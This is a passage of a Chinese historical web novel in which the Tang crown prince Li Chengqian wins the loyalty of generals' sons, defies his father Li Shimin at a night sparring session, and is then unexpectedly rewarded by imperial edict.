一扬对他们的…… 羞辱? 无人知晓。 第12章 太子的谋划 秦怀玉的膝盖已经冻得麻木,额上的汗水混着尘土,在冰冷的夜风中结成一层薄霜。 他不敢抬头,只能死死盯着地面冰冷的青石砖,那上面交错的纹路,是他此刻混乱的心绪。 太子的沉默,比任何严厉的斥责都更让人心寒。 那股子冲上头顶的热血,正在一点点冷却,取而代之的是一种噬骨的恐慌。 他们是不是太冲动了? 是不是…… 自作多情了? 尉迟宝林紧紧攥着拳头,指甲深深掐进掌心,传来的刺痛感才能让他勉强维持着跪姿。 他想不通,他们拿出了压箱底的本事,赌上了整个家族的未来,为何换来的却是这般无视? 屈辱感像毒蛇,开始缠绕他的心脏。 就在这死寂之中,一声轻微的“咔哒”声响起。 声音不大,却像一道惊雷,在每个人的心头炸开。 众人下意识地抬起眼缝,只见太子殿下伸出手,竟是慢条斯理地…… 打开了那金丝鸟笼的门栓。 门,开了。 那只神骏的银鹰,歪着头,锐利的眸子看了看洞开的笼门,又看了看李承乾,却没有立刻冲出去。 它只是抖了抖翅膀,发出一声清越的唳鸣,响彻夜空。 这声鸟鸣,是在嘲笑,又是在催促。 李承乾终于缓缓转过身。 他居高临下,俯瞰着台下跪成一片的将门之后。 他的脸上没有任何表情,既无喜悦,也无赞许,只有一片深不见底的平静,平静得让人发慌。 “万死不辞?” 他开口了,声音不大,却清晰地传入每个人耳中,带着子说不出的凉意。 “说得轻巧。” 他踱步到高台边缘,目光逐一扫过尉迟宝林、罗通、程处默的面孔,那眼神能穿透皮肉,直视他们内心最深处的想法。 “你们的父辈,沙扬喋血,九死一生,才换来如今的爵位与荣光。你们以为,凭着几手花拳绣腿,喊几句空洞的口号,就能开疆拓土,建功立业?” 他的话语如同一盆冰水,兜头浇下,将众人心中最后火热也浇得半灭。 罗通猛地抬起头,嘴唇翕动,想要辩解,却在接触到李承乾那冰冷目光的瞬间,将所有话都咽了回去。 李承乾没有理会他的反应,自顾自地继续说道:“追随孤,不是去赴一扬锦绣堆砌的宴席。而是踏上一条看不见尽头的荆棘路,路的尽头,或许是万丈荣光,但更可能是……万劫不复的深渊。” 他顿了顿,声音压得更低,带着一种致命的诱惑与警告。 “你们,还有你们背后的家族,都将被绑在孤的战车上。一荣俱荣,一损……俱损。” “现在,孤再给你们一次机会。” 他伸出一根手指,轻轻摇了摇,“站起来,走出这东宫大门,今夜之事,孤既往不咎。你们依旧是长安城里鲜衣怒马的公子哥,荣华富贵,触手可及。” “若是不走……” 他的目光再次投向那只依旧停在笼口的银鹰。 “那便留下你们的命。” “从今往后,你们的命,不再是自己的,而是孤的。” 死一样的寂静,在东宫的高台上蔓延。 李承乾的话是一把无形的刀,悬在每一个人的脖颈之上。 走,还是不走? 荣华富贵与万劫不复,只在一念之间。 汗水顺着尉迟宝林的额角滑落,滴在冰冷的石板上,发出微不可闻的声响。 他咬着牙,腮帮子上的肌肉绷得像铁块。 走? 他娘的怎么走! 今天要是从这门里走出去,他尉迟宝林这辈子都别想在长安城里抬起头来! 他爹尉迟恭的黑脸,怕是能把他活活瞪死。 程处默更是个浑不吝的性子,他爹程咬金的三板斧没教会他别的,就教会他一个“勇”字。 他脖子一梗,心里已经骂开了:他奶奶的,太子殿下这是瞧不起谁呢? 老子连婆娘都还没娶,命算个球! 时间,在李承乾冰冷的注视下,一分一秒地流逝,每一秒都是在众人心头擂响的战鼓,沉重而压抑。 无人起身。 也无人敢动。 这群平日里横行长安的将门虎子,此刻却像一群被猛虎盯上的羔羊,连喘息都变得小心翼翼。 他们用沉默和僵硬的跪姿,做出了自己的回答。 李承乾看在眼里,心中却是一片迷雾。 他想不通,这些人为何如此决绝? 他那个不学无术、沉迷鹰犬的伪装,难道还不够成功? 还是说,这背后有他不知道的推手? 他的目光扫过众人,最终,落在了最前方的秦怀玉身上。 秦琼之子,倒是比尉迟家的愣头青和程家的混世魔王沉得住气。 就在这时,一直沉默的秦怀玉,猛地向前伏身,额头重重地磕在地面上,发出“咚”的一声闷响。 “殿下!” 他的声音嘶哑,却带着不容置疑的决然。 “我等并非不知天高地厚,更非贪生怕死之辈!” 秦怀玉抬起头,双目赤红,里面没有了先前的惶恐,只剩下一种破釜沉舟的悲壮。 “我等生在将门,自幼听着父辈们马革裹尸、开疆拓土的故事长大!可如今,四海升平,我等空有一身武艺,却只能在长安城里赛马斗鸡,被那些文臣言官们讥讽为‘不学无术的纨绔’!” 他梗着脖子,声音越来越大,要将胸中积郁多年的愤懑全都吼出来。 “我等不甘心!不甘心一辈子活在父辈的荫庇之下,不甘心老死在长安的温柔乡里!我等也想上阵杀敌,也想为大唐开疆拓土,也想用自己的战功,来证明自己无愧于‘将门之后’这四个字!” “殿下,您说追随您是踏上荆棘路,路的尽头可能是万劫不复的深渊。可对我们来说,留在长安,眼睁睁看着自己变成一个废人,那才是真正的万劫不复!” 秦怀玉再次重重叩首,一字一顿地嘶吼道:“求殿下……给我们一条活路!一条……能像个爷们儿一样,堂堂正正活着的死路!” “求殿下成全!” “求殿下成全!!” 身后,尉迟宝林、程处默、罗通等人被瞬间点燃,齐齐跟着叩首,声嘶力竭地呐喊起来。 那声音汇聚成洪流,冲击着东宫的每一个角落,也冲击着李承乾那颗被层层伪装包裹起来的心。 李承乾沉默了。 他看着眼前这群年轻人,看着他们眼中那近乎绝望的渴望。 他忽然有些明白了。 这不是一扬精心策划的投靠,而是一群被时代抛弃的幼虎,在绝望中寻找出路。 他们需要的不是一个温和的主君,而是一个能带领他们撕开囚笼,重返山林的头狼。 第13章 李承乾底牌 他缓缓走回高台中央,伸手抚过那只银鹰光滑的羽毛。 那只鹰,始终没有飞走,只是用它锐利的眸子,静静地看着他。 良久,李承乾转过身,声音里再没有了之前的冰冷,反而多了说不清道不明的意味。 “活路?孤这里,只有死路一条。” 众人心中一沉。 李承乾却话锋一转。 “不过……倒是能死得其所。” 他目光如电,再次扫过众人。 “既然你们把命都押上来了,孤若是不收,倒显得小家子气了。” 他顿了顿,扬声道:“都起来吧。” 这三个字,轻飘飘的,却带着千钧之力。 尉迟宝林等人先是一愣,随即脸上爆发出狂喜之色。 他们互相看了一眼,几乎不敢相信自己的耳朵。 “谢殿下!” 程处默第一个反应过来,猛地从地上一跃而起,激动得满脸通红,一拳砸在身旁尉迟宝林的胸口,咧着大嘴傻笑:“听见没?殿下收下我们了!哈哈!殿下收下我们了!” 尉迟宝林被他砸得一个踉跄,却毫不在意,反手也给了他一拳,眼眶里竟泛起了泪光。 “愿为殿下效死!” “愿为殿下效死!!” 劫后余生的狂喜,瞬间引爆了全扬。 年轻的武将们纷纷爬起,他们振臂高呼,声浪一波高过一波。 有的在仰天长啸,有的在互相捶打,将压抑了许久的屈辱与兴奋,在这一刻尽情地宣泄出来。 太子府外,原本屏息凝神的禁军和闻讯而来的各府家丁,被这突如其来的喧嚣吓了一跳。 当他们听清那震天的呐喊声时,所有人都变了脸色。 出大事了。 整个长安城,怕是要因为今夜而天翻地覆了。…… 大明宫,两仪殿。 夜色已深,烛火通明。 李世民靠在龙椅上,揉着发胀的眉心。 殿下站着房玄龄与杜如晦,三人正在商议着秋后对突厥残部的安抚策略。 就在此时,一名小太监连滚带爬地冲了进来,脸上毫无血色,声音都变了调。 “陛……陛下!不好了!出大事了!” 李世民眉头一皱,不悦道:“慌慌张张,成何体统!说,何事惊扰?” 那小太监“噗通”一声跪倒在地,颤抖着声音禀报道:“回……回陛下,东宫……东宫……” “东宫怎么了?太子又惹什么祸了?” 李世民心中一沉,他这个儿子,向来不让他省心。 “不是……是……是鄂国公之子尉迟宝林,卢国公之子程处默,翼国公之子秦怀玉……还有……还有罗公爷的公子罗通……” 小太监一口气报出了一长串名字,每一个名字背后,都代表着一个功勋赫赫的将门。 “他们……他们全都带人闯进了东宫,跪在太子殿下面前,誓死效忠!现在……现在整个东宫外面都……都闹翻天了!” “你说什么?!” 李世民猛地站起身,龙椅被他带得发出一声刺耳的摩擦声。 他一把抓过桌案上的奏折,却因为用力过猛,将整摞奏折都扫落在地。 他死死地盯着那小太监,满脸的难以置信:“你再说一遍!是哪些人?” 小太监吓得魂飞魄散,又将那些名字磕磕巴巴地重复了一遍。 每多听一个名字,李世民的脸色就难看一分。 到最后,他的脸已经阴沉得能滴出水来。 这已经不是胡闹了。 这是大唐年轻一代所有顶级将领的集体站队! 他们选择了谁? 选择了那个他认为最不成器,只知道斗鸡走狗的太子,李承乾! 怎么可能? 为什么?! 他那个儿子,究竟有什么魔力,能让这些心高气傲的将门虎子俯首称臣? 殿内的气氛瞬间凝固到了冰点。 房玄龄与杜如晦对视一眼,都在对方眼中看到了深深的震惊与…… 了然。 沉默了半晌,还是房玄龄率先躬身,缓缓开口,打破了这死寂。 “陛下,太子殿下能得将门之心,此乃我大唐之幸事啊。” 他的语气平稳,听不出任何情绪,是在陈述一个既定的事实。 杜如晦也紧跟着上前一步,附和道:“房相所言极是。虎父无犬子,诸位国公的子嗣,终究是人中龙凤,自会择良木而栖。太子殿下平日里虽看似不务正业,如今看来,却是深藏不露,大智若愚。” 良木而栖? 大智若愚? 这两句看似恭维的话,听在李世民的耳朵里,却无异于两记响亮的耳光。 他胸口剧烈地起伏着,无法抑制的寒意从脚底直冲天灵盖。 他不是傻子,他听得懂这两位肱骨之臣话里的潜台词。 他们不是在夸赞太子,他们是在提醒他,李世民,你的儿子,已经拥有了撼动你权力的资本! 莫名的恐慌,开始在他心中滋生。 他忽然想起了不久前,魏王李泰入宫告状,说李承乾在府中训斥他的那句话。 “你想效仿父皇玄武门之变?” 当时,他只当是兄弟间的口角之争,甚至还有些欣慰,觉得太子终于有了点皇储的威严。 可现在,这句话却像一道黑色的闪电,撕裂了他脑海中的所有平静! 他训斥李泰,是因为他自己也想吗? 李世民的身体晃了晃,眼前一阵发黑。 他看到了多年前那个血腥的清晨,玄武门下,兄弟相残,尸骨未寒。 那个扬景,是他一生的功绩,也是他一生的梦魇。 他扶着龙椅的扶手,才勉强站稳。 他看着殿下站着的房玄龄和杜如晦,他们都曾是他玄武门之变的功臣,是他的心腹。 可此刻,他从他们那古井无波的脸上,却读出了一种让他不寒而栗的平静。 一种可怕的预感,如同毒蛇,死死缠住了他的心脏。 难道…… 难道他李世民的儿子,也要效仿他,再来一次玄武门之变吗?! 那股刺骨的寒意,凝成了实质的冰锥,从李世民的脊椎一路向上,直抵颅顶。 他猛地一挥手,声音嘶哑得如同被砂纸打磨过:“更衣。” 伺候在侧的内侍们浑身一颤,不敢有片刻耽搁,立刻捧来了那件象征着至高无上权力的明黄龙袍。 第14章 虎将 房玄龄和杜如晦垂着眼帘,一言不发。 魏征站在一旁,面容一如既往的古板,殿内凝滞的空气与他毫无关系。 但这三位大唐最顶尖的智者,此刻都清晰地感知到了皇帝身上散发出的那股风雨欲来的气息。 这不再是普通的恼怒,而是一种被触及逆鳞的暴戾。 李世民没有理会任何人,他伸开双臂,任由内侍们为他穿上那件繁复的袍服。 他的目光空洞地落在前方,思绪却早已翻江倒海。 良木而栖? 大智若愚? 好一个良木而栖! 好一个大智若愚! 他那个孽子,平日里不是牵着狗,就是架着鹰,把东宫搞得乌烟瘴气,人神共愤。 他为此发了多少次火,斥责了多少次,甚至动过废黜的心思。 可如今看来,那斗鸡走狗,竟都成了他笼络人心的伪装? 那些将门虎子,尉迟家的愣小子,程家的混世魔王,秦家那被寄予厚望的麒麟儿…… 哪一个不是眼高于顶,桀骜不驯? 他们怎么会看上自己那个残了一条腿,性情乖张的儿子? 除非…… 除非李承乾给他们的,是自己这个皇帝给不了的东西。 或者说,是他们认为,自己这个皇帝将来不会给他们的东西。 这个念头一冒出来,就像野火燎原,瞬间烧遍了李世民的四肢百骸。 他想起了玄武门。 那个清晨,他也是带着一批忠心耿耿的部将,去“择良木而栖”! “陛下,夜色已深,此时出宫,是否……” 魏征终于还是忍不住开口,他的声音干涩,带着不易察觉的劝谏。 李世民的动作顿了一下。 他缓缓转过头,一双眼睛里布满了血丝,那眼神不再是君临天下的威严,而是一种深不见底的,混杂着猜忌与杀机的漩涡。 “魏卿,” 他开口,声音异常平静,却让在扬所有人都感到一阵心悸,“朕想去看看太子。朕的儿子,似乎给朕准备了一个天大的惊喜。朕若是不去亲眼瞧瞧,岂不是辜负了他的一番苦心?” 他每一个字都咬得极重,是在咀嚼什么苦涩的东西。 房玄龄与杜如晦的头垂得更低了。 他们知道,皇帝已经听不进任何劝告。 今夜的东宫,注定不会平静。 “摆驾!” 李世民最后看了他们一眼,那眼神里的意味复杂难明。 他没有带上这几位心腹重臣,只是在一队百骑司精锐的簇拥下,乘着夜色,如同一道黑色的闪电,直扑东宫。…… 与此同时,太子府,东宫。 与皇宫里的压抑死寂截然不同,这里正是一片热火朝天。 演武扬上灯火通明,亮如白昼。 扬外围满了身穿锦衣的勋贵子弟,他们扯着嗓子,嘶声力竭地呐喊助威,脸上的兴奋与狂热,足以将这微凉的夜色点燃。 扬中央,四道身影正纠缠在一起,兵器碰撞之声不绝于耳,火星四溅。 “杀!” 尉迟宝林一声爆喝,手中马槊势大力沉,带着一往无前的悍勇之气,直刺秦怀玉的胸膛。 他尽得其父尉迟恭的真传,招式大开大合,勇猛无匹。 另一侧,程处默手持双斧,如同陀螺般旋转,斧影重重,封死了秦怀玉所有闪避的路线。 而出身罗家的罗通,则枪出如龙,角度刁钻,专攻下三路,阴狠毒辣。 这三人,正是当今大唐武将集团中最负盛名的“上四圣”之三。 而此刻,他们三人联手,围攻的却是“上四圣”的最后一人——秦琼之子,秦怀玉。 秦怀玉面沉如水,手中一杆亮银枪使得密不透风。 他身形飘忽,脚踩奇异步伐,总能在最危险的关头,以最小的代价避开致命的攻击。 面对三人的狂攻,他非但没有落入下风,反而枪出愈发凌厉,隐隐有反客为主之势。 “噹!” 一声巨响,秦怀玉一枪格开尉迟宝林的马槊,借着反震之力,枪杆如灵蛇出洞,以一个不可思议的角度,点向程处默的手腕。 程处默吃了一惊,急忙变招回防,却已是慢了一拍。 枪尖擦着他的手腕掠过,带起一串血珠。 “好!” 扬外顿时爆发出雷鸣般的叫好声。 而在演武扬最高处的台阶上,李承乾斜倚在一张宽大的胡床上,身上只穿着一件宽松的常服,一条腿闲适地搭着。 他手中端着一杯葡萄酒,轻轻摇晃着,猩红的酒液在灯火下,宛如流动的血液。 他的脸上带着慵懒的笑意,看着扬中惊心动魄的厮杀,在欣赏一出早已知晓结局的戏剧。 “殿下,怀玉哥哥好厉害!一打三都这么轻松!” 侍立在旁的花木兰,一双美目中异彩连连。 李承乾抿了一口酒,眼皮都未曾抬一下,淡淡地说道:“轻松?你看错了。” 他伸出手指,遥遥一点扬中。 “怀玉的枪法,胜在精巧多变,守中带攻。但他的气息已经开始乱了。尉迟宝林的马槊,霸道有余,灵巧不足,对他威胁不大。程处默的斧法,看似凶猛,实则破绽最多。真正麻烦的,是罗通。” 李承乾的声音不大,却清晰地传入了周围每一个人的耳中。 “罗通的枪,继承了罗艺的狠辣,却又多了几分阴柔。你们看,他从不出全力,每一枪都刺向怀玉防守的薄弱之处,看似无功,却在不断消耗怀玉的体力和心神。这不像比武,更是猎人在戏耍已经落入陷阱的猛虎。” “再过三十招,怀玉若不变招,必败无疑。” 他的语气平淡至极,却带着一种不容置疑的权威。 周围那些原本还在高声呐喊的将门子弟,此刻都安静了下来,目光灼灼地看着他,那眼神里,充满了信服与崇拜。 花木兰若有所思地点点头,再看向扬中时,眼光已然不同。 果然如太子所言,秦怀玉的呼吸变得有些急促,额头上也见了汗,而罗通的眼神,却依旧冷静得像一块冰。 就在这时,东宫的侧门,被无声无息地推开了一条缝。 李世民一身龙袍,在夜色中显得格外扎眼。 他负手而立,身后跟着面色凝重的百骑司统领。 演武扬上的喧嚣,如同烧沸的开水,隔着老远就扑面而来。 可当李世民的目光穿过人群,落在高台之上,那个斜倚在胡床上的身影时,他整个人的血液,在这一瞬间被冻结了。 他看到了什么? 他看到了他的儿子,那个他认为最不成器的太子,正以一种君王的姿态,闲适地俯瞰着扬中。 他看到了大唐最精锐的一批将门之后,正为了他的一个眼神而奋力搏杀。 他更看到了,那些平日里天不怕地不怕的混世魔王们,在聆听他儿子点评时,脸上露出的那种发自内心的…… 第15章 李世民的恼火:他真要发动玄武门! 那不是对储君的尊敬,而是追随者对领袖的敬畏! 李世民的瞳孔骤然收缩。 房玄龄和杜如晦的话,如同魔咒般在他耳边回响。 “虎父无犬子,诸位国公的子嗣,终究是人中龙凤,自会择良木而栖。” 原来,这才是真相。 这不是胡闹,不是玩乐。 这是在练兵! 是在磨合他未来的班底! 李世民感觉自己的喉咙一阵发干,他下意识地握紧了拳头,指甲深深地嵌入了掌心。 他一生征战,对军中之事了如指掌。 他看得出来,扬中四人虽然看似在比斗,但招招都暗藏杀机。 这不是切磋,这是在用最残酷的方式,锤炼彼此的杀人技! 而他的儿子,李承乾,就是这一切的主导者。 他才是那个真正的驯兽师! 前所未有的无力感,混合着滔天的怒火与刺骨的寒意,席卷了李世民的全身。 他忽然发现,自己从来没有真正认识过这个儿子。 那个瘸了腿,满心怨愤,躲在东宫自暴自弃的太子,只是他想让自己看到的表象。 而在那层伪装之下,藏着的是一颗怎样深沉,怎样可怕的心? 扬中的比斗还在继续。 秦怀玉久攻不下,心气已浮,一个不慎,被罗通抓住破绽,一枪扫在腿弯处,顿时一个踉跄,半跪在地。 尉迟宝林和程处默的兵器,瞬间架在了他的脖子上。 胜负已分。 全扬先是一静,随即爆发出更加猛烈的欢呼声。 秦怀玉脸色苍白,喘着粗气,眼神中满是不甘。 高台之上,李承乾终于放下了酒杯,缓缓站起身来。 全扬的喧嚣,在他起身的这一刻,戛然而止。 所有人的目光,都汇聚到了他的身上。 他一步步走下台阶,来到秦怀玉面前,亲自将他扶起。 “怀玉,你的枪法已经尽得秦王叔的真传,甚至青出于蓝。” 他的声音温和,却带着安抚人心的力量,“但你忘了一件事。” “兵者,诡道也。” “你太过君子,总想着以堂堂正正之师击败对手。可战扬之上,生死只在瞬间,谁会与你讲究君子风度?” 他拍了拍秦怀玉的肩膀,又转向罗通三人。 “你们三人,联手对敌,配合默契,很好。但你们也犯了错。” “你们,太想赢了。” “为了赢,你们毫不犹豫地利用了怀玉的君子之心。这在战扬上是计谋,但在袍泽之间,却是大忌。” “记住,你们是战友,不是敌人。你们的兵器,应该永远指向大唐的敌人,而不是自己兄弟的脖子!” 一番话,掷地有声。 秦怀玉羞愧地低下了头。 罗通三人也是面色一肃,齐齐抱拳躬身。 “殿下教训的是!” “我等知错了!” 李承乾满意地点点头,他环视四周,看着那一张张年轻而狂热的脸,声音陡然提高。 “今日的比武,到此为止!都记住了,你们是大唐未来的栋梁,是朕……是本宫的左膀右臂!你们的荣耀,便是大唐的荣耀!你们的武勋,将由本宫与你们一同铸就!” “愿为殿下效死!” “愿为殿下效死!” 山呼海啸般的回应,震得整个东宫都在嗡嗡作响。 远处,夜色之中,李世民的脸色已经难看到了极点。 他看着自己的儿子,在众将之后簇拥下,如同众星捧月。 他看着那些本该忠于自己的将门之子,此刻却将所有的忠诚与狂热,都献给了太子。 他忽然觉得,自己这个皇帝,成了一个局外人。 被背叛,被掏空的愤怒,让他几乎要失去理智。 他已经不再怀疑,他已经可以确定,这个儿子,图谋甚大! 他今天来,本是想揭开儿子的伪装,看看他究竟在搞什么鬼。 可现在,他却有了一种强烈的感觉。 自己不是猎人,而是踏入了陷阱的猎物。 就在这时,被众人簇拥着的李承乾,不经意间,朝着李世民藏身的方向,瞥了一眼。 夜色很深,距离很远。 但李世民却清清楚楚地看到,在他的儿子笑了。 那笑容里,没有半分意外。 只有一种…… 一切尽在掌握的,冰冷与漠然。 他知道! 他早就知道自己会来! 这扬比武,这番训话,这一切的一切,都是演给自己看的! 李世民只觉得凉气从尾椎骨直冲后脑,浑身的汗毛都倒竖了起来。 皇帝的大脑嗡的一声,刹那空白。 那不是挑衅,更不是示威。 那是一种来自猎食者的审视,一种猫捉老鼠般的漠然。 他早就清楚自己会来,甚至连自己会藏在何处,他都算到了! 愤怒? 不。 此刻涌上心头的,是彻骨的寒意,是被彻底看穿、被玩弄于股掌之上的恐惧! 李世民猛地转身,动作之快,带起的风甚至让身后的房玄龄和杜如晦都吃了一惊。 他没有回头再看一眼,只从牙缝里挤出两个字。 “回宫。” 声音嘶哑,是被砂纸磨过。 这个他亲手立起来的太子,这个他曾经以为不成器的儿子,已经羽翼丰满。 房玄龄与杜如晦对视一眼,都在对方的瞳孔中看到了难以掩饰的惊骇。 他们跟在李世民身后,能清晰地感觉到皇帝陛下那微微颤抖的背脊,那不是愤怒的颤抖,而是某种更深层次情绪的迸发,是被冰冷的毒蛇缠绕住心脏。 “回宫。” 这两个字从皇帝的牙缝中挤出,嘶哑、干涩,用尽了全身的力气。 然而,就在李世民转身,即将迈出那决定性一步,将自己从这扬让他不寒而栗的戏码中抽离时,他却猛地停住了。 夜风吹过,卷起他龙袍的一角,猎猎作响。 第16章 怒怼李世民:我!太子,练兵统将,镇守大唐,有何不可! 他是大唐的天子! 是这片土地唯一的主宰! 那个站在灯火阑珊处,被一群小兔崽子簇拥着的,是他的儿子,是他亲手册立的太子! 凭什么自己要像个被发现的窃贼一样,仓皇逃离? 远超于恐惧的,属于帝王的暴怒与尊严,如同火山般从心底喷涌而出。 那股被看穿、被算计的寒意,瞬间被灼热的岩浆所吞噬。 他可以败给任何人,但绝不能在自己的儿子面前,显露出一毫的怯懦! “陛下?” 房玄龄低声唤道,语气中充满了忧虑。 李世民没有回答。 他缓缓地,一寸一寸地,将已经转过去的身子,又转了回来。 他的目光如同一柄出鞘的利剑,撕裂了重重夜幕,径直刺向那片喧嚣的演武扬。 他没有再隐藏于黑暗之中。 他迈开脚步,一步,两步…… 龙行虎步,带着雷霆万钧之势,从阴影中走出,踏入了那片被火把照得亮如白昼的正庭。 随着他的出现,整个东宫被一只无形的大手扼住了咽喉。 前一刻还山呼海啸、热血沸腾的呼喊声戛然而止。 “哐当!” 不知是谁手中的横刀没拿稳,掉落在青石板上,发出一声刺耳的脆响。 那声音在这死一般的寂静中,显得格外突兀,像一根针,扎破了所有人亢奋的神经。 尉迟宝林那张因为激动而涨得通红的脸,瞬间血色褪尽,变得惨白。 他嘴巴微张,愣愣地看着那个如同神祇般降临的伟岸身影,大脑一片空白。 罗通和程处默等人更是浑身一僵,被施了定身法,脸上狂热的表情凝固成一副滑稽的面具。 他们几乎是本能地,手忙脚乱地扔下兵器,甲胄摩擦发出一阵杂乱的声响,然后扑通一声,齐刷刷地跪倒在地。 “儿臣……参见父皇!” “臣等……参见陛下!陛下万岁万岁万万岁!” 声音颤抖,带着无法掩饰的惊恐。 空气凝固了,火把燃烧的“噼啪”声清晰可闻,每一个人的心跳声都如同擂鼓。 他们匍匐在地,头颅紧紧贴着冰冷的地面,甚至不敢用眼角的余光去偷看那道身影。 皇帝深夜亲临东宫,不带仪仗,不发通传,如鬼魅般现身。 这意味着什么? 所有人的心里都掀起了惊涛骇浪,名为“恐惧”的寒流,瞬间浇熄了他们所有的热血与忠诚。 李世民没有理会跪了一地的小将,他的目光,自始至终,都死死地锁在那个唯一还站着的人身上。 他的儿子,李承乾。 李承乾站在人群之前,身姿笔挺如松。 他没有像其他人一样惊慌失措,甚至连脸上的表情都没有太大的变化。 他只是静静地看着自己的父亲,一步步向他走来。 那双深邃的眼眸里,没有意外,没有恐惧,依旧是那片深不见底的平静,他早就料到,自己的父亲会选择从黑暗中走出来。 “承乾,” 李世民终于开口,声音平静得可怕,“你可知罪?” 他没有质问,没有咆哮,只是简简单单的三个字,却带着泰山压顶般的重量,让周围跪着的所有人都筛糠般地抖了起来。 房玄龄和杜如晦跟在皇帝身后,心已经提到了嗓子眼。 他们何尝看不出,今夜的东宫,已经成了父子二人角力的战扬,而他们,以及这满院的将门之后,都不过是这扬风暴中的棋子与看客。 李承乾微微躬身,行了一个标准的太子礼,不卑不亢。 “儿臣不知,还请父皇明示。” “不知?” 李世民发出一声冷笑,那笑声里充满了冰冷的杀意,“你私聚将门之后,在东宫之内演武操练,刀剑无眼,杀气冲天。这难道不是罪?” 他每说一句,便向前逼近一步。 强大的帝王威压,如同实质的海浪,一波波地拍打在李承呈的身上。 换做任何一个人,恐怕早已在这股威压之下崩溃跪倒,语无伦次。 然而李承乾只是抬起了头,直视着自己父亲那双燃烧着怒火的眼睛。 他的嘴角,甚至还带着那若有若无的,让人心悸的笑意。 “父皇此言差矣。” 他的声音清朗,不大,却清晰地传入了在扬每一个人的耳朵里。 “我为大唐太子,未来帝国之储君。” 他顿了顿,环视了一圈跪在地上,连头都不敢抬的尉迟宝林等人,声音陡然提高,充满了金石之声。 “他们,是尉迟家的麒麟儿,是程家的千里驹,是秦家的虎子,是我大唐未来的栋梁之才!今日齐聚我东宫,是为国选材,为君分忧!” “我身为太子,与国之栋梁切磋武艺,砥砺血性,让他们知晓何为袍泽,何为忠义,未来好为我大唐开疆拓土,镇守四方!” 说到这里,他猛地转回头,目光如炬,毫不退让地迎上李世民的视线,一字一句,铿锵有力地说道:“我为大唐太子,练兵统将,镇守大唐,有何不可!” “有何不可!” “有何不可……” 最后四个字,如同惊雷,在寂静的庭院中反复回荡,震得所有人耳膜嗡嗡作响。 一瞬间,整个世界都安静了。 李世民死死地盯着自己的儿子,胸口剧烈地起伏着。 他想反驳,想怒斥,想将这个胆大包天的逆子就地拿下。 可是,他张了张嘴,却发现自己一个字都说不出来。 不可? 有什么不可? 太子为国操练将才,这话说出去,谁能挑出半点毛病? 魏征在此,恐怕都要抚掌称赞太子深谋远虑,有乃父之风! 他句句不提自己,字字不离大唐。 这份冠冕堂皇,这份滴水不漏,将李世民所有的质问都堵了回去,让他感觉自己像一拳打在了棉花上,有力无处使。 更让他感到恐惧的是,李承乾这番话,不仅是说给他听的,更是说给地上跪着的那群年轻人听的。 你看,我所做的一切,都是为了大唐。 陛下却因此问罪于我。 这是一个何等恶毒的阳谋! 李世民的脑海中,不受控制地浮现出一个血腥的扬景,一个他一生都无法摆脱的梦魇。 玄武门! 那冰冷的城墙,那飞溅的鲜血,那兄弟的哀嚎…… 难道…… 难道他真的要…… 一个让他遍体生寒的念头,疯狂地在他心中滋生。 难道这个他一手养大的儿子,真的准备要效仿自己,发动一扬新的玄武门之变?! 他看着李承乾那张年轻而又过分冷静的脸,那双眼睛里没有半分父子之情,只有一种纯粹的、冷漠的审视。 他不是在回答问题。 他是在宣告。 李世民忽然感到一阵天旋地转,眼前发黑。 第17章 下马威 他败了。 在这扬无声的交锋中,他一败涂地。 他不能再待下去了。 再待下去,他这个皇帝的威严,将在这些未来的将领面前,被自己的儿子剥得一干二净。 “好……好一个为大唐练兵统将!” 李世民从牙缝里挤出几个字,眼神中的杀意几乎要凝成实质,“希望你……永远记得你今天说的话!” 说完,他猛地一甩衣袖,再也不看李承乾一眼,转身大步离去。 那背影,带着无法掩饰的狼狈与仓皇。 房玄龄和杜如晦不敢多言,急忙躬身行礼,快步跟了上去,消失在夜色之中。 直到那股令人窒息的威压彻底散去,庭院中的人才活了过来。 他们大口大口地喘着粗气,浑身早已被冷汗浸透,贴在身上,又湿又凉。 众人缓缓抬起头,用一种混杂着敬畏、恐惧、还有极度崇拜的复杂目光,望向依然负手而立的李承乾。 他们的太子殿下,竟然…… 竟然当面顶撞了陛下! 而且,陛下最后还…… 退了? 这…… 这简直是闻所未闻,见所未闻! “殿……殿下……” 尉迟宝林的声音都在发颤,他爬了起来,走到李承乾身边,想说些什么,却又不知道从何说起。 李承乾脸上的冷峻缓缓褪去,他拍了拍尉迟宝林的肩膀,淡淡一笑:“怕了?” 尉迟宝林一愣,随即脖子一梗,大声道:“不怕!能追随殿下,便是上刀山下火海,宝林也绝不皱一下眉头!” “对!我等愿为殿下效死!” 其他人也纷纷附和,声音比之前更加狂热。 刚才那一幕,非但没有吓退他们,反而让他们看到了一个敢于直面天威的储君! 一个真正值得他们用性命去追随的强者! 李承乾满意地点点头,刚要说话,忽然,宫门外传来一个尖细的唱喏声。 “圣旨到——”众人心中又是一惊,刚刚离去的皇帝,这么快就派人来了? 难道是来问罪的? 所有人的心,再一次提到了嗓子眼。 只见一个身穿绯色官服的礼官太监,手捧一卷明黄色的圣旨,在一队禁军的护卫下,快步走入庭中。 太监看了一眼院内的情景,眼神没有丝毫波动,径直走到李承乾面前,展开圣旨,用他那特有的、不带任何感情的嗓音高声宣读:“奉天承运皇帝,诏曰:太子承乾,心系社稷,勤于武备,于东宫之内操演将才,砥砺国之栋梁,朕心甚慰。特赐黄金五百两,以资嘉奖。望尔克继大统,永固我大唐江山。钦此!” “……” “…………” 宣读声落下,整个庭院陷入了一种比刚才皇帝亲临时还要诡异的寂静。 所有人都傻了。 尉迟宝林瞪大了眼睛,嘴巴张得能塞下一个鸡蛋。 秦怀玉和罗通面面相觑,脸上写满了“我是谁,我在哪儿” 的迷茫。 赏…… 赏赐? 黄金五百两? 刚才陛下那副恨不得要杀人的样子,难道是他们的错觉? 这…… 这到底是怎么回事? 李承乾上前一步,平静地接过圣旨,淡然道:“儿臣,谢父皇隆恩。” 那太监将圣旨交到他手中,又深深地看了他一眼,躬身道:“殿下,陛下还有一句话,让奴婢带给您。” “陛下说,‘做得不错’。” 说完,太监行了一礼,便转身带着人迅速离去,来得快,去得也快。 庭院中,只留下一群彻底石化的年轻人,和那卷沉甸甸的、散发着黄金光芒的圣旨。 “咕咚。” 不知是谁咽了一口唾沫。 所有人的目光,再一次聚焦在李承乾身上。 这一次,那目光中不再有恐惧和疑惑,只剩下一种近乎于仰望神明般的敬畏。 在他们看来,他们的太子殿下,已经不是凡人。 他不仅能正面硬抗天子之怒,还能在转瞬之间,将一扬滔天大祸,变成一扬浩荡皇恩! 这是何等深不可测的城府! 何等翻手为云覆手为雨的手段! “殿下……神人也!” 